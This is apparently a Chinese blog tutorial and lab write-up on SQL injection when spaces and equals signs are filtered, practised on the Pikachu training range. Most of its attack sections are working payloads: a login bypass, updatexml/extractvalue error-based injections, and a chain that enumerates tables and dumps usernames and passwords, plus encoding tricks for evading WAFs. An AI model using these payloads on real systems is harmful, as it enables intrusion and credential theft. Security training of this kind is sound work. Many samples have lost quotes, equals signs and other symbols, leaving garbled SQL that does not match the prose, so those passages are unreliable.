)
当空格和等号被过滤时的SQL注入高级绕过技巧在渗透测试和CTF比赛中遇到特殊字符过滤是家常便饭。最近我在Pikachu靶场练习时发现一个有趣的场景——系统过滤了空格和等号这两个SQL注入中最常用的字符。这让我不得不深入思考当最基本的操作符都被禁用时我们还能如何进行有效的注入攻击1. 理解过滤机制与常见限制任何有效的绕过策略都始于对过滤机制的理解。现代Web应用通常会部署各种防御措施来阻止SQL注入攻击其中字符过滤是最基础的一层防护。常见的被过滤字符包括但不限于空格用于分隔SQL关键字等号用于条件判断注释符--, #, /* */引号单引号和双引号关键词UNION, SELECT, WHERE等在最近的一次测试中我发现目标系统采用了非常严格的过滤策略-- 原始注入尝试 SELECT * FROM users WHERE usernameadmin AND password1 OR 11这个经典的万能密码注入被拦截了因为系统过滤了空格和等号。通过进一步的测试我整理出了以下过滤规则字符/关键词是否被过滤替代方案空格是括号()、注释/**/是LIKE、REGEXP--是#UNION是不使用提示在实际测试中建议使用Burp Suite的Intruder模块进行系统性的字符过滤测试这比手动尝试效率高得多。2. 绕过空格限制的创造性方法当空格被过滤时我们需要寻找SQL语法中其他可以替代空格功能的元素。经过多次尝试我发现以下几种方法特别有效2.1 使用括号进行语句分隔MySQL中括号不仅可以用于数学运算和函数调用还能巧妙地替代空格分隔SQL语句-- 原始语句含空格 SELECT * FROM users WHERE usernameadmin AND password1 OR 11 -- 绕过空格限制的版本 SELECT(*)FROM(users)WHERE(username)LIKE(admin)AND(password)LIKE(1)OR(1)LIKE(1)这种方法的优势在于完全避免了空格的使用保持了SQL语句的逻辑完整性在大多数MySQL版本中都能正常工作2.2 利用注释符作为分隔符某些情况下注释符也可以作为有效的分隔符SELECT/**/*/**/FROM/**/users/**/WHERE/**/username/**/LIKE/**/admin不过这种方法在本次测试中效果不佳因为目标系统也过滤了/**/这种注释形式。2.3 使用特殊字符作为分隔符在某些数据库系统中特殊字符如、.等也可以作为分隔符SELECT*FROMusersWHEREusernameLIKEadmin但在我们的测试环境中号也被列入了过滤名单因此这种方法不适用。3. 替代等号的条件判断技巧等号被过滤后我们需要寻找其他能够实现条件判断的SQL操作符。以下是几种实用的替代方案3.1 使用LIKE操作符LIKE通常用于模糊匹配但在没有通配符的情况下它的功能等同于等号-- 原始条件 WHERE passwordsecret -- 使用LIKE替代 WHERE password LIKE secret在Pikachu靶场中我成功使用以下注入载荷绕过了过滤1OR((1)LIKE(1))#3.2 使用REGEXP操作符对于更复杂的匹配需求正则表达式操作符REGEXP是强大的替代方案WHERE password REGEXP ^secret$3.3 使用数学比较运算符在某些场景下可以使用数学比较运算符替代等号WHERE password wrong AND NOT password secret这实际上等同于password secret但表达方式更为复杂。4. 报错注入在受限环境中的应用当联合注入和堆叠注入都被限制时报错注入往往成为最后的救命稻草。在本次测试中我重点使用了两种基于XPath的报错注入函数4.1 updatexml()函数注入updatexml()是MySQL中用于修改XML文档的函数当XPath表达式格式错误时会引发报错并显示错误信息1OR(updatexml(1,concat(0x7e,database(),0x7e),1))#这个注入成功返回了数据库名称其中0x7e是波浪号~的十六进制表示用于清晰分隔注入结果concat()函数将数据库名包裹在两个~之间错误的XPath表达式(1)触发了报错4.2 extractvalue()函数注入extractvalue()是另一个XML处理函数同样可以利用其报错机制获取数据1^extractvalue(1,concat(0x7e,(select(database()))))#这里使用了^异或操作符绕过or限制展示了另一种绕过思路。注意报错注入通常有32字符的长度限制可以使用right()、left()或substr()函数分段获取数据。5. 实战演练Pikachu靶场完整注入流程让我们通过一个完整的例子来演示如何在过滤空格和等号的环境中进行SQL注入5.1 探测注入点与过滤规则首先我们测试基本的注入尝试username: admin password: 1 OR 11发现被拦截说明存在过滤机制。通过系统性的测试确认过滤了空格和等号。5.2 构造绕过载荷使用括号替代空格LIKE替代等号1OR((1)LIKE(1))#成功登录确认注入点有效。5.3 获取数据库信息使用updatexml()报错注入获取数据库名1OR(updatexml(1,concat(0x7e,database(),0x7e),1))#返回结果~pikachu~5.4 枚举数据表1OR(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#返回部分表名使用right()获取剩余部分1OR(updatexml(1,concat(0x7e,(select(group_concat(right(table_name,20)))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#5.5 提取关键数据获取users表的列名1OR(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(users)),0x7e),1))#最终获取管理员密码1OR(updatexml(1,concat(0x7e,(select(group_concat(username,~,password))from(users)),0x7e),1))#6. 进阶技巧与防御建议在绕过特殊字符过滤时还有一些更高级的技巧值得掌握6.1 多重编码绕过某些WAF只检查一层编码可以尝试双重URL编码或混合编码%2520 -- 双重编码的空格 %53%45%4C%45%43%54 -- SELECT的十六进制编码6.2 非常规函数使用利用数据库的特殊函数和特性-- MySQL中使用变量 SELECT^1.from users where^1.(SELECT password FROM users WHERE usernameadmin)6.3 防御措施建议对于开发者而言防范这类绕过攻击需要多层防护参数化查询这是最有效的防御手段多重过滤不仅过滤空格和等号还要考虑各种变体最小权限原则数据库账户只赋予必要权限错误处理避免详细错误信息泄露WAF规则定期更新WAF的过滤规则在一次真实的渗透测试中我遇到了一个过滤了空格、等号、括号和LIKE的系统。最终通过时间盲注结合ASCII逐字符比较成功获取了数据这提醒我们安全防护需要全面考虑各种攻击向量。